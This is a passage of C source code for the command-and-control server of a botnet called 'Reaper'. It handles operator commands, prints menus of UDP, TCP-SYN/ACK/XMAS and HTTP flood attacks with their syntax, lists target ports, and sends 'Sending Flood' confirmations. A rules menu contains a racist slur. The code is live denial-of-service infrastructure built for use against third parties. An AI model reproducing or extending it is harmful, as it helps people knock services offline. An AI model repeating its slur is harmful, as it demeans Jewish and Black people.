  697. if(send(thefd, stress_udp4, strlen(stress_udp4), MSG_NOSIGNAL) == -1) goto end;
  698. if(send(thefd, stress_line2, strlen(stress_line2), MSG_NOSIGNAL) == -1) goto end;
  699. pthread_create(&title, NULL, &titleWriter, sock);
  700. while(1)
  701. {
  702. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  703. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  704. break; // World Break!
  705. }
  706. continue;
  707. }
  708. if(strstr(buf, "L4UDP") || strstr(buf, "l4udp") || strstr(buf, "l4UDP") || strstr(buf, "L4udp"))
  709. {
  710. pthread_create(&title, NULL, &titleWriter, sock);
  711. char l4udp_cmd1 [5000];
  712. char l4udp_line1 [5000];
  713. char l4udp_udp1 [5000];
  714. char l4udp_udp2 [5000];
  715. char l4udp_udp3 [5000];
  716. char l4udp_udp4 [5000];
  717. char l4udp_udp5 [5000];
  718. char l4udp_line2 [5000];
  719.  
  720. sprintf(l4udp_cmd1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m] Layer 4 UDP Listing\x1b[1;37m[\x1b[0;31m+\x1b[1;37m] \r\n");
  721. sprintf(l4udp_line1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  722. sprintf(l4udp_udp1, "\x1b[1;37m[\x1b[0;31mUDP Flood\x1b[1;37m] !* UDP [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m] 32 0 1\r\n");
  723. sprintf(l4udp_udp2, "\x1b[1;37m[\x1b[0;31mSTD Flood\x1b[1;37m] !* STD [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m]\r\n");
  724. sprintf(l4udp_udp3, "\x1b[1;37m[\x1b[0;31mHOLD Flood\x1b[1;37m] !* HOLD [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m]\r\n");
  725. sprintf(l4udp_udp4, "\x1b[1;37m[\x1b[0;31mJUNK Flood\x1b[1;37m] !* JUNK [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m]\r\n");
  726. sprintf(l4udp_udp5, "\x1b[1;37m[\x1b[0;31mCNC Flood\x1b[1;37m] !* CNC [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mADMIN PORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m]\r\n");
  727. sprintf(l4udp_line2, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  728. if(send(thefd, l4udp_cmd1, strlen(l4udp_cmd1), MSG_NOSIGNAL) == -1) goto end;
  729. if(send(thefd, l4udp_line1, strlen(l4udp_line1), MSG_NOSIGNAL) == -1) goto end;
  730. if(send(thefd, l4udp_udp1, strlen(l4udp_udp1), MSG_NOSIGNAL) == -1) goto end;
  731. if(send(thefd, l4udp_udp2, strlen(l4udp_udp2), MSG_NOSIGNAL) == -1) goto end;
  732. if(send(thefd, l4udp_udp3, strlen(l4udp_udp3), MSG_NOSIGNAL) == -1) goto end;
  733. if(send(thefd, l4udp_udp4, strlen(l4udp_udp4), MSG_NOSIGNAL) == -1) goto end;
  734. if(send(thefd, l4udp_udp5, strlen(l4udp_udp5), MSG_NOSIGNAL) == -1) goto end;
  735. if(send(thefd, l4udp_line2, strlen(l4udp_line2), MSG_NOSIGNAL) == -1) goto end;
  736. pthread_create(&title, NULL, &titleWriter, sock);
  737. while(1)
  738. {
  739. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  740. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  741. break; // World Break!
  742. }
  743. continue;
  744. }
  745. if(strstr(buf, "L4TCP") || strstr(buf, "l4tcp") || strstr(buf, "l4TCP") || strstr(buf, "L4tcp"))
  746. {
  747. char l4tcp_cmd1 [5000];
  748. char l4tcp_line1 [5000];
  749. char l4tcp_tcp1 [5000];
  750. char l4tcp_tcp2 [5000];
  751. char l4tcp_tcp3 [5000];
  752. char l4tcp_tcp4 [5000];
  753. char l4tcp_tcp5 [5000];
  754. char l4tcp_tcp6 [5000];
  755. char l4tcp_tcp7 [5000];
  756. char l4tcp_tcp8 [5000];
  757. char l4tcp_tcp9 [5000];
  758. char l4tcp_line2 [5000];
  759.  
  760. sprintf(l4tcp_cmd1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m] Layer 4 TCP Listing\x1b[1;37m[\x1b[0;31m+\x1b[1;37m] \r\n");
  761. sprintf(l4tcp_line1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  762. sprintf(l4tcp_tcp1, "\x1b[1;37m[\x1b[0;31mTCP-ALL Flood\x1b[1;37m] !* TCP [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m] 32 ALL 0 1\r\n");
  763. sprintf(l4tcp_tcp2, "\x1b[1;37m[\x1b[0;31mTCP-SYN Flood\x1b[1;37m] !* TCP [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m] 32 SYN 0 1\r\n");
  764. sprintf(l4tcp_tcp3, "\x1b[1;37m[\x1b[0;31mTCP-FIN Flood\x1b[1;37m] !* TCP [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m] 32 FIN 0 1\r\n");
  765. sprintf(l4tcp_tcp4, "\x1b[1;37m[\x1b[0;31mTCP-RST Flood\x1b[1;37m] !* TCP [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m] 32 RST 0 1\r\n");
  766. sprintf(l4tcp_tcp5, "\x1b[1;37m[\x1b[0;31mTCP-PSH Flood\x1b[1;37m] !* TCP [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m] 32 PSH 0 1\r\n");
  767. sprintf(l4tcp_tcp6, "\x1b[1;37m[\x1b[0;31mTCP-CRI Flood\x1b[1;37m] !* TCP [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m] 32 CRI 0 1\r\n");
  768. sprintf(l4tcp_tcp7, "\x1b[1;37m[\x1b[0;31mTCP-PRO Flood\x1b[1;37m] !* TCP [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m] 32 PRO 0 1\r\n");
  769. sprintf(l4tcp_tcp8, "\x1b[1;37m[\x1b[0;31mTCP-ACK Flood\x1b[1;37m] !* TCP [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m] 32 ACK 0 1\r\n");
  770. sprintf(l4tcp_tcp9, "\x1b[1;37m[\x1b[0;31mTCP-XMAS Flood\x1b[1;37m] !* TCP [\x1b[0;31mIP\x1b[1;37m] [\x1b[0;31mPORT\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m] 32 XMAS 0 1\r\n");
  771. sprintf(l4tcp_line2, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  772. if(send(thefd, l4tcp_cmd1, strlen(l4tcp_cmd1), MSG_NOSIGNAL) == -1) goto end;
  773. if(send(thefd, l4tcp_line1, strlen(l4tcp_line1), MSG_NOSIGNAL) == -1) goto end;
  774. if(send(thefd, l4tcp_tcp1, strlen(l4tcp_tcp1), MSG_NOSIGNAL) == -1) goto end;
  775. if(send(thefd, l4tcp_tcp2, strlen(l4tcp_tcp2), MSG_NOSIGNAL) == -1) goto end;
  776. if(send(thefd, l4tcp_tcp3, strlen(l4tcp_tcp3), MSG_NOSIGNAL) == -1) goto end;
  777. if(send(thefd, l4tcp_tcp4, strlen(l4tcp_tcp4), MSG_NOSIGNAL) == -1) goto end;
  778. if(send(thefd, l4tcp_tcp5, strlen(l4tcp_tcp5), MSG_NOSIGNAL) == -1) goto end;
  779. if(send(thefd, l4tcp_tcp6, strlen(l4tcp_tcp6), MSG_NOSIGNAL) == -1) goto end;
  780. if(send(thefd, l4tcp_tcp7, strlen(l4tcp_tcp7), MSG_NOSIGNAL) == -1) goto end;
  781. if(send(thefd, l4tcp_tcp8, strlen(l4tcp_tcp8), MSG_NOSIGNAL) == -1) goto end;
  782. if(send(thefd, l4tcp_tcp9, strlen(l4tcp_tcp9), MSG_NOSIGNAL) == -1) goto end;
  783. if(send(thefd, l4tcp_line2, strlen(l4tcp_line2), MSG_NOSIGNAL) == -1) goto end;
  784. pthread_create(&title, NULL, &titleWriter, sock);
  785. while(1)
  786. {
  787. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  788. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  789. break; // World Break!
  790. }
  791. continue;
  792. }
  793. if(strstr(buf, "L7") || strstr(buf, "l7"))
  794. {
  795. pthread_create(&title, NULL, &titleWriter, sock);
  796. char l7_cmd1 [5000];
  797. char l7_line1 [5000];
  798. char l7_http1 [5000];
  799. char l7_http2 [5000];
  800. char l7_line2 [5000];
  801.  
  802. sprintf(l7_cmd1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m] Layer 7 Method Listing\x1b[1;37m[\x1b[0;31m+\x1b[1;37m] \r\n");
  803. sprintf(l7_line1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  804. sprintf(l7_http1, "\x1b[1;37m[\x1b[0;31mHTTP Flood\x1b[1;37m] !* HTTP [\x1b[0;31mURL\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m]\r\n");
  805. sprintf(l7_http2, "\x1b[1;37m[\x1b[0;31mWGET Flood\x1b[1;37m] !* WGET [\x1b[0;31mURL\x1b[1;37m] [\x1b[0;31mTIME\x1b[1;37m]\r\n");
  806. sprintf(l7_line2, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  807. if(send(thefd, l7_cmd1, strlen(l7_cmd1), MSG_NOSIGNAL) == -1) goto end;
  808. if(send(thefd, l7_line1, strlen(l7_line1), MSG_NOSIGNAL) == -1) goto end;
  809. if(send(thefd, l7_http1, strlen(l7_http1), MSG_NOSIGNAL) == -1) goto end;
  810. if(send(thefd, l7_http2, strlen(l7_http2), MSG_NOSIGNAL) == -1) goto end;
  811. if(send(thefd, l7_line2, strlen(l7_line2), MSG_NOSIGNAL) == -1) goto end;
  812. pthread_create(&title, NULL, &titleWriter, sock);
  813. while(1)
  814. {
  815. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  816. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  817. break; // World Break!
  818. }
  819. continue;
  820. }
  821. if(strstr(buf, "EXTRA") || strstr(buf, "extra")) { // We Are Attempting To Display Extra CMDs!
  822. EXTRA:
  823. pthread_create(&title, NULL, &titleWriter, sock);
  824. char extra_cmd1 [5000];
  825. char extra_line1 [5000];
  826. char extra_list1 [5000];
  827. char extra_list2 [5000];
  828. char extra_list3 [5000];
  829. char extra_list4 [5000];
  830. char extra_line2 [5000];
  831.  
  832. sprintf(extra_cmd1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]UDP Methods\x1b[1;37m[\x1b[0;31m+\x1b[1;37m] \r\n");
  833. sprintf(extra_line1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  834. sprintf(extra_list1, "\x1b[0;37mNo Hitting Government Sites Or Game Servers\r\n");
  835. sprintf(extra_list2, "\x1b[0;37mMax TIme =\x1b[0;31m86400\r\n");
  836. sprintf(extra_list3, "\x1b[0;37mThat Does Not Mean Spam \x1b[0;31m1000\r\n");
  837. sprintf(extra_list4, "\x1b[0;37mIf Someone Is Pissing You off Just do \x1b[0;31m100\x1b[1;37m-\x1b[0;31m600\x1b[1;37m Seconds\r\n");
  838. sprintf(extra_line2, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  839.  
  840. if(send(thefd, extra_cmd1, strlen(extra_cmd1), MSG_NOSIGNAL) == -1) goto end;
  841. if(send(thefd, extra_line1, strlen(extra_line1), MSG_NOSIGNAL) == -1) goto end;
  842. if(send(thefd, extra_list1, strlen(extra_list1), MSG_NOSIGNAL) == -1) goto end;
  843. if(send(thefd, extra_list2, strlen(extra_list2), MSG_NOSIGNAL) == -1) goto end;
  844. if(send(thefd, extra_list3, strlen(extra_list3), MSG_NOSIGNAL) == -1) goto end;
  845. if(send(thefd, extra_list4, strlen(extra_list4), MSG_NOSIGNAL) == -1) goto end;
  846. if(send(thefd, extra_line2, strlen(extra_line2), MSG_NOSIGNAL) == -1) goto end;
  847. pthread_create(&title, NULL, &titleWriter, sock);
  848. while(1)
  849. {
  850. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  851. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  852. break; // World Break!
  853. }
  854. continue;
  855. }
  856. if(strstr(buf, "RULES") || strstr(buf, "rules"))
  857. { // We Are Attempting To Display The Rules!
  858. RULES:
  859. pthread_create(&title, NULL, &titleWriter, sock);
  860. char rule_cmd1 [5000];
  861. char rule_line1 [5000];
  862. char rule_1 [5000];
  863. char rule_2 [5000];
  864. char rule_3 [5000];
  865. char rule_4 [5000];
  866. char rule_5 [5000];
  867. char rule_line2 [5000];
  868.  
  869. sprintf(rule_cmd1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]RULES\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]\r\n");
  870. sprintf(rule_line1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  871. sprintf(rule_1, "\x1b[1;37m[\x1b[1;31m1\x1b[1;37m] - No Rapid Booting\r\n");
  872. sprintf(rule_2, "\x1b[1;37m[\x1b[1;32m2\x1b[1;37m] - No Sharing Users\r\n");
  873. sprintf(rule_3, "\x1b[1;37m[\x1b[0;33m3\x1b[1;37m] - No Going Over Time\r\n");
  874. sprintf(rule_4, "\x1b[1;37m[\x1b[0;34m4\x1b[1;37m] - No Jews or Niggers!\r\n");
  875. sprintf(rule_5, "\x1b[1;37m[\x1b[0;35m5\x1b[1;37m] - No Hitting Government Sites Or Game Servers\r\n");
  876. sprintf(rule_line2, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  877.  
  878. if(send(thefd, rule_cmd1, strlen(rule_cmd1), MSG_NOSIGNAL) == -1) goto end;
  879. if(send(thefd, rule_line1, strlen(rule_line1), MSG_NOSIGNAL) == -1) goto end;
  880. if(send(thefd, rule_1, strlen(rule_1), MSG_NOSIGNAL) == -1) goto end;
  881. if(send(thefd, rule_2, strlen(rule_2), MSG_NOSIGNAL) == -1) goto end;
  882. if(send(thefd, rule_3, strlen(rule_3), MSG_NOSIGNAL) == -1) goto end;
  883. if(send(thefd, rule_4, strlen(rule_4), MSG_NOSIGNAL) == -1) goto end;
  884. if(send(thefd, rule_5, strlen(rule_5), MSG_NOSIGNAL) == -1) goto end;
  885. if(send(thefd, rule_line2, strlen(rule_line2), MSG_NOSIGNAL) == -1) goto end;
  886. pthread_create(&title, NULL, &titleWriter, sock);
  887. while(1)
  888. {
  889. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  890. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  891. break; // World Break!
  892. }
  893. continue;
  894. }
  895. if(strstr(buf, "PORTS") || strstr(buf, "port") || strstr(buf, "ports") || strstr(buf, "PORT"))
  896. { // We Are Attempting To Display Usable Ports!
  897. PORTS:
  898. pthread_create(&title, NULL, &titleWriter, sock);
  899. char port_cmd1 [5000];
  900. char port_line1 [5000];
  901. char port_1 [5000];
  902. char port_2 [5000];
  903. char port_3 [5000];
  904. char port_4 [5000];
  905. char port_5 [5000];
  906. char port_6 [5000];
  907. char port_7 [5000];
  908. char port_8 [5000];
  909. char port_line2 [5000];
  910.  
  911. sprintf(port_cmd1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]PORTS\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]\r\n");
  912. sprintf(port_line1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  913. sprintf(port_1, "\x1b[1;37m[\x1b[0;31m22\x1b[1;37m] \x1b[1;37m- SSH\r\n");
  914. sprintf(port_2, "\x1b[1;37m[\x1b[1;32m23\x1b[1;37m] \x1b[1;37m- Telnet Protocol\r\n");
  915. sprintf(port_3, "\x1b[1;37m[\x1b[1;33m50\x1b[1;37m] \x1b[1;37m- Remote Mail Checking Protocol\r\n");
  916. sprintf(port_4, "\x1b[1;37m[\x1b[1;34m80\x1b[1;37m] \x1b[1;37m- HTTP\r\n");
  917. sprintf(port_5, "\x1b[1;37m[\x1b[1;35m69\x1b[1;37m] \x1b[1;37m- Trivial File Transfer Protocol\r\n");
  918. sprintf(port_6, "\x1b[1;37m[\x1b[1;36m77\x1b[1;37m] \x1b[1;37m- Any Private Remote Job Entry\r\n");
  919. sprintf(port_7, "\x1b[1;37m[\x1b[0;31m666\x1b[1;37m] \x1b[1;37m- Doom\r\n");
  920. sprintf(port_8, "\x1b[1;37m[\x1b[1;32m995\x1b[1;37m] \x1b[1;37m- good for NFO, OVH, VPN\r\n");
  921. sprintf(port_line2, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  922.  
  923. if(send(thefd, port_cmd1, strlen(port_cmd1), MSG_NOSIGNAL) == -1) goto end;
  924. if(send(thefd, port_line1, strlen(port_line1), MSG_NOSIGNAL) == -1) goto end;
  925. if(send(thefd, port_1, strlen(port_1), MSG_NOSIGNAL) == -1) goto end;
  926. if(send(thefd, port_2, strlen(port_2), MSG_NOSIGNAL) == -1) goto end;
  927. if(send(thefd, port_3, strlen(port_3), MSG_NOSIGNAL) == -1) goto end;
  928. if(send(thefd, port_4, strlen(port_4), MSG_NOSIGNAL) == -1) goto end;
  929. if(send(thefd, port_5, strlen(port_5), MSG_NOSIGNAL) == -1) goto end;
  930. if(send(thefd, port_6, strlen(port_6), MSG_NOSIGNAL) == -1) goto end;
  931. if(send(thefd, port_7, strlen(port_7), MSG_NOSIGNAL) == -1) goto end;
  932. if(send(thefd, port_8, strlen(port_8), MSG_NOSIGNAL) == -1) goto end;
  933. if(send(thefd, port_line2, strlen(port_line2), MSG_NOSIGNAL) == -1) goto end;
  934. pthread_create(&title, NULL, &titleWriter, sock);
  935. while(1) {
  936. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  937. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  938. break; // World Break!
  939. }
  940. continue;
  941. }
  942. if(strstr(buf, "LOGOUT") || strstr(buf, "logout"))
  943. {
  944. printf("\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] User:[\x1b[0;36m%s\x1b[1;37m] Has Logged Out!\n", accounts[find_line].user, buf); // We Are Attempting To Logout!
  945. FILE *logFile;// We Are Attempting To Logout!
  946. logFile = fopen("LOGOUT.log", "a");// We Are Attempting To Logout!
  947. fprintf(logFile, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] User:[\x1b[0;36m%s\x1b[1;37m] Has Logged Out!\n", accounts[find_line].user, buf);// We Are Attempting To Logout!
  948. fclose(logFile);
  949. goto end;
  950. }
  951. if(strstr(buf, "MOVE") || strstr(buf, "move")) // We Are logging Shell-Attempts!
  952. { // Let Us Continue Our Journey!
  953. printf("\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] User:[\x1b[0;36m%s\x1b[1;37m] Has Attempted To Shell Your Bots!\n", accounts[find_line].user, buf);
  954. FILE *logFile;
  955. logFile = fopen("SHELL.log", "a");
  956. fprintf(logFile, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] User: \x1b[0;36m%s\x1b[1;37m Has Attempted To Shell Your Bots!\n", accounts[find_line].user, buf);
  957. fclose(logFile);
  958. goto end; // We Are Dropping Down to end:
  959. } // Let Us Continue Our Journey!
  960. if(strstr(buf, "!* STOP") || strstr(buf, "!* KILLATTK")) // We Are Attempting to kill Attack-Process!
  961. { // Let Us Continue Our Journey!
  962. sprintf(botnet, "[Reaper] Attack Stopped!");
  963. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  964. } // Let Us Continue Our Journey!
  965. if(strstr(buf, "!* UDP")) // We Are Sending UDP Flood!
  966. { // Let Us Continue Our Journey!
  967. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;31mUDP \x1b[1;37mFlood!\r\n");
  968. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  969. } // Let Us Continue Our Journey!
  970. if(strstr(buf, "!* STD")) // We Are Sending STD Flood!
  971. { // Let Us Continue Our Journey!
  972. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;31mSTD \x1b[1;37mFlood!\r\n");
  973. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  974. } // Let Us Continue Our Journey!
  975. if(strstr(buf, "!* CNC")) // We Are Sending CnC Flood!
  976. { // Let Us Continue Our Journey!
  977. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;31mCNC \x1b[1;37mFlood!\r\n");
  978. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  979. } // Let Us Continue Our Journey!
  980. if(strstr(buf, "!* HTTP")) // We Are Sending HTTP Flood!
  981. { // Let Us Continue Our Journey!
  982. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;31mHTTP \x1b[1;37mFlood!\r\n");
  983. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  984. } // Let Us Continue Our Journey!
  985. if(strstr(buf, "!* JUNK")) // We Are Sending JUNK Flood!
  986. { // Let Us Continue Our Journey!
  987. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;31mHTTP \x1b[1;37mFlood!\r\n");
  988. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  989. } // Let Us Continue Our Journey!
  990. if(strstr(buf, "!* HOLD")) // We Are Sending HOLD Flood!
  991. { // Let Us Continue Our Journey!
  992. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;31mHTTP \x1b[1;37mFlood!\r\n");
  993. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  994. } // Let Us Continue Our Journey!
  995. if(strstr(buf, "!* TCP")) // We Are Sending TCP Flood!
  996. { // Let Us Continue Our Journey!
  997. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Loading sockets...\r\n");
  998. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  999. } // Let Us Continue Our Journey!
  1000. if(strstr(buf, "!* WGET")) // We Are Sending wget Flood!
  1001. { // Let Us Continue Our Journey!// Let Us Continue Our Journey!
  1002. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;31mWGET \x1b[1;37mFlood!\r\n");
  1003. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1004. } // Let Us Continue Our Journey!
  1005. if(strstr(buf, "XMAS")) // We Are Reading TCP And Sending XMAS Flood!
  1006. { // Let Us Continue Our Journey!// Let Us Continue Our Journey!
  1007. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[1;31mT\x1b[1;32mC\x1b[1;33mP\x1b[1;34m-\x1b[1;35mX\x1b[1;36mM\x1b[1;31mA\x1b[1;32mS \x1b[1;37mFlood\r\n");
  1008. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1009. } // Let Us Continue Our Journey!
  1010. if(strstr(buf, "ALL")) // We Are Reading All TCP Methods and Sending TCP Flood!
  1011. { // Let Us Continue Our Journey!// Let Us Continue Our Journey!
  1012. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[1;31mTCP \x1b[1;37mFlood using \x1b[0;31mALL \x1b[1;37mMethods!\r\n");
  1013. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1014. } // Let Us Continue Our Journey!
  1015. if(strstr(buf, "SYN")) // We Are Reading TCP And Sending SYN Flood!
  1016. { // Let Us Continue Our Journey!// Let Us Continue Our Journey!
  1017. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;36mTCP-SYN \x1b[1;37mFlood\r\n");
  1018. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1019. } // Let Us Continue Our Journey!
  1020. if(strstr(buf, "FIN")) // We Are Reading TCP And Sending FIN Flood!
  1021. { // Let Us Continue Our Journey!// Let Us Continue Our Journey!
  1022. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;36mTCP-FIN \x1b[1;37mFlood\r\n");
  1023. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1024. } // Let Us Continue Our Journey!
  1025. if(strstr(buf, "RST")) // We Are Reading TCP And Sending RST Flood!
  1026. { // Let Us Continue Our Journey!
  1027. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;36mTCP-RST \x1b[1;37mFlood\r\n");
  1028. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1029. } // Let Us Continue Our Journey!
  1030. if(strstr(buf, "ACK")) // We Are Reading TCP And Sending ACK Flood!
  1031. { // Let Us Continue Our Journey!
  1032. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;36mTCP-ACK \x1b[1;37mFlood\r\n");
  1033. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1034. } // Let Us Continue Our Journey!
  1035. if(strstr(buf, "PSH")) // We Are Reading TCP And Sending PSH Flood!
  1036. { // Let Us Continue Our Journey!
  1037. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;36mTCP-PSH \x1b[1;37mFlood\r\n");
  1038. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1039. } // Let Us Continue Our Journey!
  1040. if(strstr(buf, "PRO")) // We Are Reading TCP And Sending Pro Flood!
  1041. { // Let Us Continue Our Journey!
  1042. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;36mTCP-PRO \x1b[1;37mFlood\r\n");
  1043. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1044. } // Let Us Continue Our Journey!
  1045. if(strstr(buf, "CRI")) // We Are Reading TCP And Sending Cri Flood!
  1046. { // Let Us Continue Our Journey!
  1047. sprintf(botnet, "\x1b[1;37m[\x1b[0;31mReaper\x1b[1;37m] Sending \x1b[0;36mTCP-CRI \x1b[1;37mFlood\r\n");
  1048. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1049. } // Let Us Continue Our Journey!
  1050. if(strstr(buf, " DONT WORRY")) // We Are Reading Client And Starting TelNet Scanner!
  1051. { // Let Us Continue Our Journey!
  1052. sprintf(botnet, "DONT WORRY\r\n");
  1053. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1054. } // Let Us Continue Our Journey!
  1055. if(strstr(buf, "DONT WORRY")) // We Are Reading Client And Stopping TelNet Scanner!
  1056. { // Let Us Continue Our Journey!
  1057. sprintf(botnet, "DONT WORRY\r\n");
  1058. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  1059. } // Let Us Continue Our Journey!
  1060. if (strstr(buf, "clear") || strstr(buf, "CLEAR") || strstr(buf, "cls") || strstr(buf, "CLS"))
  1061. { // Let Us Continue Our Journey!
  1062. goto reaper; // We Are Going Up to reaoer:
  1063. } // Let Us Continue Our Journey!
  1064. if (strstr(buf, "EXIT") || strstr(buf, "exit") || strstr(buf, "leave") || strstr(buf, "LEAVE")) // We Are Closing Connection!
  1065. { // Let Us Continue Our Journey!
  1066. goto end; // We Are Dropping Down to end:
  1067. } // Let Us Continue Our Journey!
  1068. trim(buf);
  1069. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  1070. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  1071. if(strlen(buf) == 0) continue;
